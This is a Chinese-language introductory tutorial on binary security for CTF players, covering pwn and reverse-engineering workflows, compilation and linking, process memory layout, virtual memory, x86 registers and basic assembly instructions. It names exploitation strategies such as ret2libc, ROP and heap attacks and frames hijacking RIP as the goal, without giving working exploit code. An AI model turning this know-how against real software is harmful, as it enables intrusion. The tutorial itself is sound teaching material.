二进制基础

一.什么是二进制

什么是Pwn?

PWN 原指“own”（控制、攻破）的俚语变体，最初出现在黑客文化中。后被 CTF（Capture The Flag）竞赛广泛使用，用来指代利用程序二进制漏洞实现控制、提权、信息泄露等攻击手段的一类题型。

PWN ≈ 利用二进制程序漏洞控制程序流程

核心手段：栈溢出、格式化字符串、堆溢出、UAF、整数溢出、内核控制等

最终目标：执行恶意代码或泄露敏感数据

pwn题一般流程:

1. checksec检查保护机制(NX/Canary/PIE/RELRO)
2. IDA 静态分析,定位漏洞函数(如 gets、strcpy)
3. GDB 动态调试,确定溢出偏移
4. 选择利用策略: - 栈溢出 → ret2text / ret2libc / ROP - 堆漏洞 → Fastbin attack / Unsorted bin attack - 格式化字符串 → 任意地址读写
5. 用 pwntools 编写 exp
6. 本地测试 → 远程打靶 → 拿到 flag

什么是RE?

RE 是 Reverse Engineering逆向工程的缩写,原指通过分析成品反推其设计原理的工程方法*,广泛应用于机械、软件等领域。在黑客文化与CTF 竞赛中,RE特指对二进制程序进行逆向分析,以理解其内部逻辑、还原算法、绕过保护或挖掘漏洞的一类题型。

RE ≈从二进制反推程序逻辑还原代码真相

RE题一般流程:

1. file + checksec 检查文件类型(ELF/PE/.NET/APK)、位数(32/64)、保护机制(PIE/NX/Canary)、是否加壳
2. strings + exeinfo/DIE 查壳(UPX/VMP/Themida)、找可疑字符串(“flag”、”Wrong”、”Correct”)、识别编译器(GCC/MSVC/Go/Rust)
3. 脱壳处理(如果加壳)
   • UPX → upx -d 一键脱
   • 自定义壳 → ESP 定律 / 内存 Dump + IAT 修复
   • VMP/Themida → 硬核逆 VM 或符号执行绕过
4. IDA/Ghidra 静态分析,定位关键函数
   • 从 main 入手,或交叉引用(“Correct”字符串 Xrefs to)
   • F5 反编译伪代码,重命名变量理清逻辑
   • 识别算法特征(魔数、S-Box、循环结构)
5. 算法识别,判断加密类型
   • 标准算法:AES(S-Box)、DES、RC4(256字节置换)、TEA(0x9E3779B9)、MD5/SHA(魔数 0x67452301)、Base64(编码表)
   • 魔改算法:改常数的 TEA、换表的 Base64、异或混淆
   • 自定义算法:纯靠人脑逆推
6. 选择破解策略
   • 简单比对 → 逆向还原输入
   • 复杂加密 → 写解密脚本(Python)
   • 方程求解 → Z3 约束求解器
   • 动态行为 → Angr 符号执行
   • 混淆严重 → Unicorn 模拟执行关键片段
   • 反调试多 → Patch 跳过 / Frida Hook
7. 动态调试验证(x64dbg / GDB / IDA Debugger)
   • 断点下在比较处 cmp/strcmp/memcmp
   • 观察寄存器、栈、内存变化
   • Dump 中间数据验证算法猜测
8. 编写 exp / 还原 flag
   • Python 脚本逆运算
   • 或直接读内存拿 flag
9. 提交 flag → flag{...}

二进制安全是攻与放的博弈

攻击侧:如何”破”：

防御侧:如何”守”：

二进制安全能干什么？

二进制安全 绝不止打 CTF,它是整个网络安全领域 最底层、最硬核 的方向之一。

二.汇编语言

汇编语言是直接在硬件（cpu）上工作的编程语言。

机器语言：

要介绍汇编语言就要先说一下机器语言：

机器语言是机器指令的合集，机器指令是一列二进制数（0101）。计算机将其转化为高低电平。CPU（中央处理单元）通过识别高低电平实现对pc机的控制。

举个例子：

1

10110000 01100001     ← 这是一条真实的 x86 机器指令

它的含义是:把 0x61(也就是字符 'a')放入寄存器 AL。

但你看着这串 0 和 1,显然猜不出他在干嘛。

汇编指令：

作为人类不可能通过0101进行编程，所以汇编语言就诞生了。汇编语言与人类语言较为接近，具有更强的可读性。

用助记符（pop rbp）代替二进制,具有更强的可读性:

1

mov al, 0x61    ; 就是上面那串 10110000 01100001

一条汇编指令 ≈ 一条机器指令

但是cpu只能识别机器指令也就是0101，不能识别汇编指令。所以这个时候就需要一个把汇编指令转化成机器指令的程序，也就是汇编器：（注意这里说的是指令）

程序员用汇编指令写源码，然后编译成机器指令。

1
2
3
4
5
6

 源代码(.asm)              目标文件(.o / .obj)
┌──────────────┐          ┌──────────────┐
│ mov al, 0x61 │  汇编器   │ B0 61        │
└──────────────┘          └──────────────┘
  人类可读                    CPU 可执行
 

p2中的B0 61 就是二进制码10110000 01100001的hex（16进制）表示。

十六进制（hex）是”给人看”的二进制几乎无处不在。

后面的内存地址，汇编，ida中的地址空间，shellcode等都是用十六进制表示的二进制。

这样就实现了程序员控制计算机的过程。

但是我们说的一直是”指令“——一条汇编指令对应一条机器指令,mov、pop、add 这些都是单条的动作。

然而,计算机实际运行的不是”一条指令”,而是一整个程序，程序由成千上万条指令按特定顺序组合而成。

cpu通过 可执行文件

可执行文件是*机器指令的载体,它把指令、数据、资源按照操作系统规定的格式打包在一起。Windows 上是* .exe(PE 格式),Linux 上是 ELF 格式。

当你双击一个 .exe,操作系统就会把它加载到内存,然后告诉 CPU:”从这里开始执行”,CPU 便开始一条一条地读取并执行里面的机器指令。

那可执行文件是怎么产生的呢：实际上是通过c语言编译产生的。

从c语言到可执行程序：

大家应该学过c语言了，那疑问就来了？

c语言和我们的汇编语言又有什么关系呢？

这样的一个c语言源代码main.c

1
2
3
4
5
6

#include <stdio.h>
int main()
{
printf("i love binary !");
return 0;
}

通过gcc编译

1

gcc main.c -o main 

就可以得到一个可执行程序main:

整个过程是这样的：

1

gcc -masm=intel main.c -o main -save-temps         ///这里用的intel格式

使用这个指令可以看到各个阶段的文件(.c .i .o .s)

再看一下这张图：

• 编译：由.c到.s （从c语言源码到汇编语言）:

首先可以cpp完成展开宏清理注释等工作变为 .i文件：

这里可以看到.i文件非常庞大。

（这是因为# include<stdio.h>这个指令吧stdio.h文件复制进去，里面又展开了很多宏）

这一步不重要。

后面cll（编译器）把这个经过预处理的文件编译成了.s汇编程序：

可以看到这里的汇编代码已经生成。

这里可以看到.rodata只读段，以及汇编代码等等。

• 汇编：由.s到.o (从汇编语言到机器码）:

这里看到了很多乱码，是因为此时./o文件已经被编译成了二进制文件。

使用指令:

1

objdump -d -M intel main.o

可以把机器码逆回成反汇编代码。

链接 ：由.o文件到elf可执行文件：

为什么已经是汇编文件了还能执行呢？

因为代码里调用了 printf，但 printf 的代码并不在你的 .c 文件里，而是在系统的 libc 库里。 链接 (Linking) 的作用，就是把你的 .o 文件和系统的库文件（.so 或 .a）打包在一起，填补那些未知的空白，生成最终的 ELF 可执行文件。

1️⃣ 符号解析(Symbol Resolution)
目标: 把每个未定义符号(U)和它的唯一定义绑定起来。

2️⃣ 段合并与空间分配(Section Merging)
目标: 把各 .o 中同属性的段合并,并确定在进程地址空间中的最终虚拟地址。

1
2
3
4
5
6
7
8

<TEXT>
  main.o              util.o             最终 ELF
┌─────────┐         ┌─────────┐        ┌──────────────┐
│ .text   │ ──┐     │ .text   │ ──┐    │ .text        │  R-X  0x401000
│ .rodata │   │     │ .rodata │   │    │ .rodata      │  R--  0x402000
│ .data   │   ├────►│ .data   │   ├───►│ .data        │  RW-  0x404000
│ .bss    │   │     │ .bss    │   │    │ .bss         │  RW-  0x405000
└─────────┘ ──┘     └─────────┘ ──┘    └──────────────┘

段的最终布局由链接脚本(linker script) 决定,可用 ld –verbose 查看默认脚本。

3️⃣ 重定位(Relocation)
目标: 符号地址确定后,回填所有引用位置。

流程:

链接器为每个段分配虚拟地址(VMA)
遍历重定位表,根据重定位类型计算最终值并填入

这里的链接方式主要有动态和静态链接两种。

简要的说一下：

静态链接(Static Linking)

过程: 链接时直接从静态库(.a 文件,本质是 .o 的 ar 归档)中抽取需要的目标模块,合并进最终 ELF。

特点:

• 链接完成后,程序自包含,不依赖外部库
• 每个静态链接的程序都有自己一份 libc 副本
• 库更新需要重新

动态链接(Dynamic Linking)

过程分两阶段:

阶段一(链接时):

• 链接器不把库函数代码复制进 ELF
• 仅在 ELF 中记录依赖的共享库名(.dynamic 段的 NEEDED 条目)
• 为每个外部函数生成 **PLT **和 **GOT **
• 指定动态链接器路径(.interp 段,通常是 /lib64/ld-linux-x86-64.so.2)

阶段二(运行时):

• 内核加载 ELF,把控制权交给动态链接器
• 动态链接器(ld.so)加载所有 NEEDED 的 .so 到进程空间
• 执行运行时重定位:填充 GOT 条目

链接全过程：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

┌───────────────┐  ┌───────────────┐  ┌───────────────┐
│   main.o      │  │   util.o      │  │  libc.so /    │
│               │  │               │  │   libX.a      │
│ .text         │  │ .text         │  │               │
│ .data         │  │ .data         │  │ 提供符号:      │
│ 符号表         │  │ 符号表         │  │  printf       │
│ 重定位表        │  │ 重定位表        │  │  malloc       │
└───────┬───────┘  └───────┬───────┘  └───────┬───────┘
        │                  │                  │
        └──────────────────┼──────────────────┘
                           ▼
                   ┌────────────────┐
                   │   链接器 ld     │
                   │                │
                   │ ① 扫描所有输入,  │
                   │   构建全局符号表 │
                   │ ② 解析未定义符号 │
                   │ ③ 合并段,分配 VMA│
                   │ ④ 执行重定位    │
                   │ ⑤ 生成程序头    │
                   └───────┬────────┘
                           ▼
                   ┌────────────────┐
                   │ ELF 可执行文件   │
                   │ ─────────────── │
                   │ ELF Header     │
                   │ Program Header │ ← 加载器看这个
                   │ .text / .rodata│
                   │ .data / .bss   │
                   │ .plt / .got    │ ← 动态链接跳板
                   │ .dynsym/.dynstr│
                   │ Section Header │ ← 链接/调试用
                   └────────────────┘

关键概念：

符号表：记录”我定义了哪些函数/变量”+”我引用了哪些外部符号”
重定位表：记录”哪些地址我现在还不知道，等链接器填”
.so = 动态库（运行时才链接），.a = 静态库（链接时直接复制进来）

链接器 ld:

① 扫描所有输入，构建全局符号表

把所有 .o 和库的符号汇总成一张大表，准备配对。

② 解析未定义符号（Symbol Resolution）

比如 main.o 里调用了 printf，但自己没定义 → 在 libc.so 里找到 → 配对成功。

如果找不到 → 经典报错：undefined reference to 'xxx'

③ 合并段，分配 VMA（虚拟内存地址）

把所有 .o 的同名段合并：

• 所有 .text → 合成一个大 .text
• 所有 .data → 合成一个大 .data
• 然后给每段分配运行时的虚拟地址（VMA）

④ 执行重定位（Relocation）

现在地址都定了，回填之前重定位表里”待填”的位置。 比如 call printf 这条指令，原本是占位符，现在填上真实偏移。

⑤ 生成程序头（Program Header）

告诉加载器：”运行时该怎么把我加载进内存、每段什么权限”。

elf文件格式

三.寄存器和内存

对于初学这来说我很想让大家首先分清这个概念。

寄存器和内存：

寄存器：

寄存器是CPU内部复杂的高速硬件存储单元。他是cpu的一部分。

寄存器是CPU(快速寻址)控制内存读写数据或者说控制程序的关键。

不占据实际的物理内存地址。

内存：

而内存同样也是计算机的核心硬件资源

它是软件运行和数据存储的载体

每个存储单元都对应着一个实际的物理内存地址。

理解：

cpu利用寄存器指向指向指向内存地址，这样达到了帮助cpu寻址的目的，后面就可以根据汇编指令或者说我们写的程序，控制这些内存地址。

打个比方：

CPU =外卖骑手（干活的人，跑得飞快）。

内存=整个城市的所有门牌号（比如从001号到999号，房子都那不动）。

寄存器=骑手手机上的导航输入框。

过程是这样的：

1. 指向（Pointing）：骑手（CPU）脑子记不住几百万个地址。他必须依靠手机。他在**导航输入框（寄存器）\里输入了一个地址：\ “建设路100号”。
   • 这时，我们可以说：指向了内存里的“建设路100号”。
2. 地址于是他骑车冲到了“建设路100号”这栋房子的门口。这就是CPU寻址。
3. 控制：
   • 如果是送餐（写内存MOV [Addr], Data）：把外卖卖房子里。
   • 如果是取餐（读内存MOV Reg, [Addr]）：从房子里把饭拿走。

例子：

demo:

1
2
3
4
5
6
7
8
9
10
11

#include <stdio.h>
void addAndPrint(int a, int b) {
int sum = a + b;
}
int main() {
int num1 = 10;
int num2 = 20;
addAndPrint(num1, num2);
return 0;
}

这里有一个简单的加法函数。

让我们调试一下这个函数：

这里可以看到寄存器（eax ebx ….）指向的地址。也可以说暂存的值。

可以看到esp指向的是0xffffcf7c这个地址。

ebp暂时没有被压入栈中 暂时是0.

push ebp(把ebp暂存的值也就是0压入栈中：

这里可以看到push ebp执行完后：

esp指向的地址变为了0x…78 而他的值变为了0

这就说明ebp的0被压入栈中了,也就说明我们通过寄存器寻址完成了push ebp( push 0)这条汇编指令

内存

Linux x86 进程内存空间布局

高地址为内核区域，用户无权访问，低地址为用户区域，在内核没有开启SMAP时，内核代码可以访问用户空间数据，在内核没有开启SMEP保护时，内核态可以执行用户区域代码。

代码段(Text Segment)— 起始于 0x08048000

存放什么?

• 你写的函数编译后的机器指令
• 也就是 main、printf、你自定义函数的”可执行代码”

权限:r-x(可读、可执行、不可写)

数据段(Data Segment)

存放什么?

全局变量和静态变量。分成两个子段:

1
2
3
4
5
6

int a = 10;           // .data
int b;                // .bss
static int c = 20;    // .data
static int d;         // .bss
const int e = 30;     // .rodata(只读数据,在代码段附近)
char *s = "hello";    // s 在 .data,"hello" 在 .rodata

堆—向上增长

存放什么?

动态分配的内存(程序运行时临时要的内存)。

1
2
3
4

<C>
int *p = malloc(100);   // 从堆上要 100 字节

free(p);                // 用完还回去

增长方向:从低地址向高地址增长

堆下面紧挨着数据段(固定大小),只能往上扩。

共享库(Shared Library) — 起始于 0x40000000

存放什么?

动态链接库,最重要的是:

• libc.so.6 — C 标准库(包含 printf、scanf、malloc、system…)
• ld-linux.so — 动态链接器(负责加载其他库)

假如 10 个程序都用 printf,每个都链接一份 libc?太浪费了。

动态链接:让所有进程共用同一份 libc(在物理内存里只有一份,映射到每个进程的虚拟地址空间)。

1
2
3
4
5
6
7
8
9
10
11

<TEXT>

物理内存中:        虚拟内存中(每个进程各自看到):

┌──────────┐       进程A: 0xf7e00000 → libc

│  libc    │ ←──── 进程B: 0xb7500000 → libc

│ (一份)   │       进程C: 0xf7a00000 → libc

└──────────┘

地址随机化(ASLR)

每次运行,libc 加载的虚拟地址都不一样**(这是 ASLR 保护)。

栈(Stack) — %esp 指向栈顶

存放什么?

• 局部变量(函数里定义的 int a;、char buf[64];)
• 函数参数(32 位下)
• 返回地址(call 指令自动压入)
• 保存的寄存器

增长方向:从高地址向低地址增长

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

<TEXT>

初始状态:           push 一个值后:

高地址              高地址

┌────────┐         ┌────────┐

│  空    │         │  空    │

├────────┤         ├────────┤

│ 已有数据│         │ 已有数据│

└────────┘ ← esp   ├────────┤

                   │ 新数据  │ ← esp(往下移了!)

                   └────────┘

内核空间(Kernel Space) — 0xC0000000 以上

存放什么?

操作系统内核的代码和数据(进程调度、内存管理、文件系统、网络栈…)。

权限:用户态无权访问

你在用户程序里访问 0xC0000001 会立刻 Segmentation Fault。

“在内核没有开启 SMAP 时,内核代码可以访问用户空间数据,在内核没有开启 SMEP 保护时,内核态可以执行用户区域代码”

函数栈帧

栈帧：

每次函数调用,都会在栈上开辟一块区域存放这次调用相关的所有数据(参数、局部变量、返回地址),这块区域就叫一个栈帧(Stack Frame)。

main 调用 funcA,funcA 调用 funcB:

栈上有三个栈帧:
┌──────────┐ ← main 的栈帧(最底下/最高地址)
├──────────┤
│ funcA │
├──────────┤
│ funcB │ ← 当前正在执行
└──────────┘ ← 栈顶/最低地址

栈帧用于保存已执行过的函数的状态。

当一个函数执行完，这个栈帧中的信息不回被销毁，而是会被保存在栈中。

这些栈帧通过ebp连接。

虚拟内存

刚才讲内存布局时,地址都是 0x08048000、0xC0000000 这种具体数字。

但你电脑上可能同时开了 100 个程序,它们都声称从 0x08048000 开始?

会不会发生冲突呢?

答案是:**不会,因为存在”虚拟内存”**机制

在cpu运行过程中，每个进程都被操作系统”欺骗”,以为自己独占了整个内存空间。实际上各个进程是并发执行的，他们都不是独立占有cpu资源。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

进程 A :           进程 B :
┌─────────────┐              ┌─────────────┐
│ 0xFFFFFFFF  │              │ 0xFFFFFFFF  │
│             │              │             │
│             │              │             │
│             │              │             │
│             │              │             │
│ 0x00000000  │              │ 0x00000000  │
└─────────────┘              └─────────────┘
         ↓           现实       ↓
┌──────────────────────────────────────────┐
│          真实物理内存(RAM)                 │
│  [A的碎片][B的碎片][A的碎片][B的碎片]...     │
└──────────────────────────────────────────┘

进程A与B：

1️⃣ 两个空间一模一样

• 都是 0x00000000 到 0xFFFFFFFF(32 位下 4GB)
• 完全独立,互不相关

2️⃣ 这是”假的”、”虚拟的”

• 进程 A 以为自己拥有 4GB
• 进程 B 也以为自己拥有 4GB
• 但这些都并不是真实的内存。
• 这就是”虚拟”的含义:不是真实存在,是 OS 编造给进程看的

3️⃣ 进程互相看不到对方

• 进程 A 访问它的 0x08048000 → 只能看到自己的数据
• 进程 B 访问它的 0x08048000 → 只能看到自己的数据
• 即使地址数值相同,访问的是完全不同的东西

现实：

1️⃣ 数据是”碎片化”存放的

• 进程 A 的数据不是连续的一大块,而是散落各处
• 进程 B 的数据也散落各处
• A、B 的碎片交错在一起 ****

2️⃣内存按 页(4KB) 管理。每次进程要内存,OS 给哪页都行,哪里有空给哪里:

物理内存状态变化:

时刻1: A要内存 → OS给了第5页 [,,,,A,,,_]

时刻2: B要内存 → OS给了第2页 [,B,,,A,,,]

时刻3: A又要 → OS给了第7页 [,B,,,A,,A,_]

时刻4: B又要 → OS给了第3页 [,B,B,,A,,A,]

结果就是 A和B的碎片交错存放,正如图中所示。

这里还要说一下分页机制：

把虚拟内存和物理内存都切成大小相同的小块(叫”页”),然后通过一张”查找表”把虚拟页映射到物理页。

MMU 是 CPU 里的一个硬件模块,专门负责地址翻译。

CPU 执行一条指令:mov eax, [0x08048ABC]
│
▼
┌──────┐
│ MMU │ ← 自动查页表、做翻译
└──────┘
│
▼
实际访问物理地址 0x12340ABC

假设要访问虚拟地址 0x08048ABC:

步骤 1:拆分地址

1
2
3
4
5
6

<TEXT>
0x08048ABC
   │    │
   ▼    ▼
 0x08048  +  0xABC
 (页号)    (页内偏移)

含义:

我要访问第 0x08048 号虚拟页里,偏移 0xABC 字节的位置
步骤 2:查页表
页表就像一本字典,你给它虚拟页号,它告诉你对应的物理页号:

1
2
3
4
5
6
7
8
9
10
11

<TEXT>
进程的页表(简化):
┌─────────────┬─────────────┐
│  虚拟页号   │  物理页号    │
├─────────────┼─────────────┤
│   0x08047   │   0x00089   │
│   0x08048   │   0x12340   │ ← 找到这一行!
│   0x08049   │   0x00567   │
│     ...     │     ...     │
└─────────────┴─────────────┘
查到:虚拟页 0x08048 → 物理页 0x12340

步骤 3:拼接物理地址
关键:页内偏移不变!

1
2
3
4
5
6
7
8
9
10

<TEXT>
物理页号 0x12340  +  偏移 0xABC
     │                  │
     ▼                  ▼
┌─────────────┬─────────────┐
│   0x12340   │    0xABC    │
└─────────────┴─────────────┘
         │
         ▼
   物理地址 0x12340ABC

寄存器：

寄存器的结构

寄存器存在套娃结构

1
2
3
4
5
6
7
8
9
10

    64 位             32 位          16 位     高 8 位  低 8 位
┌──────────────────────────────────────────────────────────┐
│                       RAX                                │  ← 64 位
│              ┌───────────────────────────────────────┐   │
│              │                EAX                    │   │  ← 低 32 位
│              │                      ┌────────────┐   │   │
│              │                      │     AX     │   │   │  ← 低 16 位
│              │                      │  ┌──┬──┐   │   │   │
│              │                      │  │AH│AL│   │   │   │  ← 高/低 8 位
└──────────────┴──────────────────────┴──┴──┴──┴───┴───┴───┘

举个例子: 如果 RAX = 0x1122334455667788,那么:

• RAX = 0x1122334455667788(64 位全部)
• EAX = 0x55667788(低 32 位)
• AX = 0x7788(低 16 位)
• AH = 0x77(AX 的高 8 位)
• AL = 0x88(低 8 位)

x86架构寄存器全家福（以32位为例）

RIP（EIP）:

指令指针寄存器

它永远指向下一条 CPU 要执行的指令地址

核心特性:

• 不能直接修改:不能用 mov rip, xxx
• 只能间接修改:通过 jmp、call、ret、jcc(条件跳转)等指令改变
• CPU 执行流程:「取 RIP 指向的指令 → 执行 → RIP 自动指向下一条」

依旧是这张图。

可以看到RIP指向的是mov ebp,esp。

这里可以看到程序下一个要执行的就是这条指令。

一个形象的比喻：

CPU 是个盲人，RIP 指哪里，它就打哪里。Pwn 的终极目标通常只有一个：劫持 RIP。只要我们能把 RIP 里的值改成我们想去的地址（比如后门函数 backdoor 的地址），CPU 就会乖乖跳过去执行。控制了 RIP，就等于控制了整个程序。

RAX（EAX）：

累加寄存器

功能：

1.算术运算：加减乘除的结果通常放在这里。

2.函数返回值：这是重点！C 语言里 return 0 或 return result，这个返回值其实就是被放进了 RAX 里。

3.RAX 存储系统调用号:在系统调用的时候，RAX会存储系统调用号。

RDI,RSI,RDX:

32位系统（x86）通过栈传参：

参数不放在寄存器里，而是直接压到栈 (Stack) 里。

而在64位系统中（x64）通过寄存器传参：

通过把参数传入RDI, RSI, RDX, RCX, R8, R9寄存器（按照顺序）中进行参数传递。

举个例子：

x64：

read(0, buffer, 100)

第一个参数：fd=0代表标准输入。通过rdi传递

第二个参数：buffer代表把数据输入的地址。通过rsi传递

第三个参数：100代表输入的字符数。通过rdx传递

1
2
3
4
5
6
7

mov rdx, 0x64    

lea rsi, [rbp-0x70]  ///buf

mov rdi, 0  

call read

x86:

参数从右往左入栈

1
2
3
4
5
6
7
8
9

push 100
lea eax,[ebp-0x70]  //buf
push eax

push 0

call read

RSP, RBP（栈相关）:

RSP:栈顶指针，永远指向栈的最上面

RBP:栈底指针，标记当前函数栈帧的底部

后面会详细讲解栈这里就不说了。

段寄存器：

这个了解一下就好

标志位寄存器：

标志寄存器是一个 64 位(RFLAGS) 的特殊寄存器,里面的每一位都是一个**”标志位”,记录 CPU 执行指令后的状态**。

┌─────────────────────────────────────────┐
│ … │ OF │ DF │ IF │ TF │ SF │ ZF │ AF │ PF │ CF │
└─────────────────────────────────────────┘
11 10 9 8 7 6 4 2 0

不能直接 mov 去修改它,它由 CPU 在执行指令时自动更新。

比较重要的是这三个寄存器：

1️⃣ ZF（零标志）— 判断相等

1
2

cmp rax, rbx      ; 本质是 rax - rbx，但不保存结果
je  target        ; 如果 ZF=1（即 rax == rbx），跳转

1

if (a == b) { ... }   // 编译后就是 cmp + je

2️⃣ SF(符号标志) — 判断正负

1
2

test rax, rax     ; rax & rax,更新标志位
js   target       ; 如果 SF=1(rax 是负数),跳转

3️⃣ CF(进位标志) — 判断无符号大小

1
2

cmp rax, rbx
jb  target        ; 如果 CF=1(rax < rbx,无符号),跳转

四.基础的汇编指令 （done）

这里开始给大家讲解一些常用的汇编指令：

汇编指令分类

数据传输类：
mov, push, pop, lea, xchg, movzx, movsx

算术运算类：
add, sub, inc, dec, mul, imul, div, idiv, neg

逻辑运算类：
and, or, xor, not, shl, shr, sar, rol, ror

控制流与比较：
cmp, test, jmp, jz, jnz, jg, jl, jge, jle, ja, jb, loop

函数调用类：
call, ret, leave, enter, syscall, int

常见指令详解

数据传输类

• mov（赋值）：

  mov 容器, 数据

  把数据传递给容器。

  1 2 3 4 5

  mov rax, 0x10 ; 把立即数传给寄存器 mov rbx, rax ; 把寄存器中的数据复制一份给寄存器 mov [rbp-8], rax ; 把寄存器的值写入内存地址(这里[rbp-8]是内存地址) mov rax, [rbp-8] ; 从内存地址读取数据到寄存器 mov byte [rdi], 0x41 ; 往内存地址写入一个字节 'A'

  注意：mov 不能直接在两个内存之间传数据,必须通过寄存器中转。

  错误示范:mov [rax], [rbx] ❌
  正确做法:

  1 2	mov rcx, [rbx] mov [rax], rcx

• lea（加载有效地址 Load Effective Address）：

  lea 目的地, [源]

  只计算地址,不取数据。

  这里举个例子区分一下和 mov 的区别:

  假设 rbp 的值是 0x1000, 而 0x0998 里存的是 88

  指令	动作分解	结果	理解
  mov rax, [rbp-8]	1. 算出 0x1000 - 8 = 0x0998 2. 进屋:去内存 0x0998 取数据	88	拿到了内容
  lea rax, [rbp-8]	1. 算出 0x1000 - 8 = 0x0998 2. 停手:直接把算出来的数给 rax	0x0998	拿到了地址

  lea 的另一个妙用:快速做算术运算!

  因为 lea 可以执行 base + index*scale + disp 的复杂计算,所以编译器经常用它来代替乘法和加法:

  1 2 3

  lea rax, [rbx + rbx*4] ; rax = rbx * 5 (一条指令搞定乘5) lea rax, [rbx + rcx*8 + 16] ; rax = rbx + rcx*8 + 16 lea rax, [rdi + rsi] ; rax = rdi + rsi (加法,且不影响标志位)

• xchg(交换)：

  交换两个操作数的值,不用临时变量。

  1	xchg rax, rbx ; rax 和 rbx 的值互换

  相当于 C 语言里:

  1	int tmp = a; a = b; b = tmp;

• movzx / movsx(带扩展的 mov)：

  当把小容器的值放进大容器时,需要扩展高位。

  1 2	movzx rax, al ; 零扩展:高位全补 0 movsx rax, al ; 符号扩展:按最高位补(正数补0,负数补1)

  举个例子:假设 al = 0xFF

  • movzx rax, al → rax = 0x00000000000000FF (当成无符号数 255)
  • movsx rax, al → rax = 0xFFFFFFFFFFFFFFFF (当成有符号数 -1)

算术运算类

• add, sub(加减法)：

  和你理解的数学运算一样。

  1 2 3 4

  add rax, 10 ; rax = rax + 10 sub rax, 10 ; rax = rax - 10 add rax, rbx ; rax = rax + rbx sub [rbp-8], 1 ; 内存里的值 - 1

• inc, dec(自增自减)：

  相当于 C 里的 i++ 和 i--。

  1 2	inc rax ; rax = rax + 1 dec rcx ; rcx = rcx - 1

  比 add rax, 1 指令更短,效率稍高(但不影响 CF 标志位)。

• mul, imul(乘法)：

  1 2 3

  imul rax, rbx ; rax = rax * rbx (有符号) imul rax, rbx, 10 ; rax = rbx * 10 (三操作数形式) mul rbx ; 无符号乘法,结果存在 rdx:rax

• div, idiv(除法)：

  除法比较特殊,被除数是固定的 rdx:rax,结果:商存 rax,余数存 rdx。

  1 2 3 4 5

  ; 计算 100 / 7 mov rax, 100 xor rdx, rdx ; rdx 必须清零(否则当作高位参与运算) mov rbx, 7 div rbx ; rax = 14 (商), rdx = 2 (余数)

• neg(取负)：

  1	neg rax ; rax = -rax

栈操作

• push(入栈)：

  把数据压入栈中(低地址)。

  1

  push rax

  这个指令会做两件事:

  1. rsp = rsp - 8 // 栈顶指针减小地址,为数据腾出位置
  2. mov [rsp], rax // 把数据写入新的栈顶位置

• pop(出栈)：

  把栈中的数据弹入寄存器中。

  这个指令和 push 恰恰相反。

  相同的是,这个指令也是在做两件事:(以 pop rdi 为例)

  1. mov rdi, [rsp] // 把栈顶的数据取出来给 rdi
  2. add rsp, 8 // 把栈顶指针向高地址移动 8 字节

  rsp(低)	0xffffjc80	0xfa
  	0xffffjc88	0
  	0xffffjc90	0
  	0xffffjc98	0
  	…	…
  rbp(高)	xxx	xxx

  这里可以看到一个模拟的栈空间,pop 指令执行的过程中:

  1. mov rdi, [rsp]：

  会首先把 rsp 指向的值取出来给 rdi, 也就是此时 rdi 变成了 0xfa

  2. add rsp, 8：

  	0xffffjc80	0xfa
  rsp(低)	0xffffjc88	0
  	0xffffjc90	0
  	0xffffjc98	0
  	…	…
  rbp(高)	xxx	xxx

  执行结果就是 rdi 变成了 0xfa, rsp = rsp + 8

逻辑运算类

• xor(清零神器 / 异或)：

  异或运算:相同为 0, 不同为 1。所以 A xor A = 0。

  1 2	xor rax, rax ; 把 rax 清零 xor rbx, rbx ; 把 rbx 清零

  也可以当成 mov rax, 0 理解。

  为什么不直接 mov rax, 0?
  因为 xor rax, rax 指令机器码更短(3字节 vs 7字节),CPU 执行更快,是编译器最爱用的清零方式。

  xor 也能用来翻转特定位:

  1	xor rax, 0xFF ; 翻转 rax 的低 8 位

• and, or, not(位运算)：

  1 2 3

  and rax, 0xFF ; 只保留低 8 位,高位清零(掩码) or rax, 0x01 ; 把最低位置 1 not rax ; 所有位翻转(按位取反)

  举个例子:判断一个数是不是奇数

  1	and rax, 1 ; 只看最低位,结果为 1 则是奇数

• shl, shr, sar(位移)：

  1 2 3

  shl rax, 2 ; 左移 2 位,相当于 rax * 4 shr rax, 1 ; 逻辑右移 1 位,相当于 rax / 2 (无符号) sar rax, 1 ; 算术右移(保留符号位,用于有符号除法)

  编译器常用位移来代替乘除 2 的幂次,因为位移比乘除法快得多。

控制流与比较

• cmp, jmp, jz, jnz, jg, jl(跳转用):

  这些属于逻辑运算:

  大家知道逻辑运算首先要有一个判断的过程(如 if(a == b))

  汇编中同样也有这样的过程通过 cmp 指令。

  cmp A, B:(比较 A 和 B 的大小):

  cpu 内部执行的是 A - B 的操作

  那对于得到的结果怎么存储呢,这里就要提到标志位了:

  标志位	全称	条件
  ZF	Zero Flag (零标志位)	如果 A == B(结果为 0),ZF = 1。反之,ZF = 0
  SF	Sign Flag (符号标志位)	如果 A < B(结果为负数),SF = 1。反之,SF = 0
  CF	Carry Flag (进位标志位)	无符号运算有进位/借位时 CF = 1
  OF	Overflow Flag (溢出标志)	有符号运算溢出时 OF = 1

  指令	英文全称	动机/触发条件	检查的位置标志(核心)	C语言对应
  JMP	Jump	无条件跳转	无(直接飞)	goto
  JZ/JE	Jump Zero / Equal	结果为 0 / 相等 时	ZF = 1	if (a == b)
  JNZ/JNE	Jump Not Zero / Not Equal	结果不为 0 / 不相等	ZF = 0	if (a != b)
  JG	Jump Greater	大于 时跳转(有符号)	ZF=0 且 SF=OF(OF 用来防止溢出不用管,可以当成 SF=0 理解)	if (a > b)
  JL	Jump Less	小于 时跳转(有符号)	SF ≠ OF	if (a < b)
  JGE	Jump Greater or Equal	大于等于 时跳转	SF = OF	if (a >= b)
  JLE	Jump Less or Equal	小于等于 时跳转	ZF=1 或 SF≠OF	if (a <= b)
  JA	Jump Above	大于 时跳转(无符号)	CF=0 且 ZF=0	if (a > b)(无符号)
  JB	Jump Below	小于 时跳转(无符号)	CF=1	if (a < b)(无符号)

  小提示:JG/JL 是有符号比较,JA/JB 是无符号比较,用错了会出 bug!

  通常来说除了 jmp, 其他的逻辑运算都要配合 cmp 使用。

  完整例子:实现 if (a > 10) goto label;

  1 2 3 4 5

  cmp rax, 10 ; 比较 rax 和 10 jg label ; 如果 rax > 10, 跳转到 label ; ... 其他代码 label: ; 跳转目标

• test(测试)：

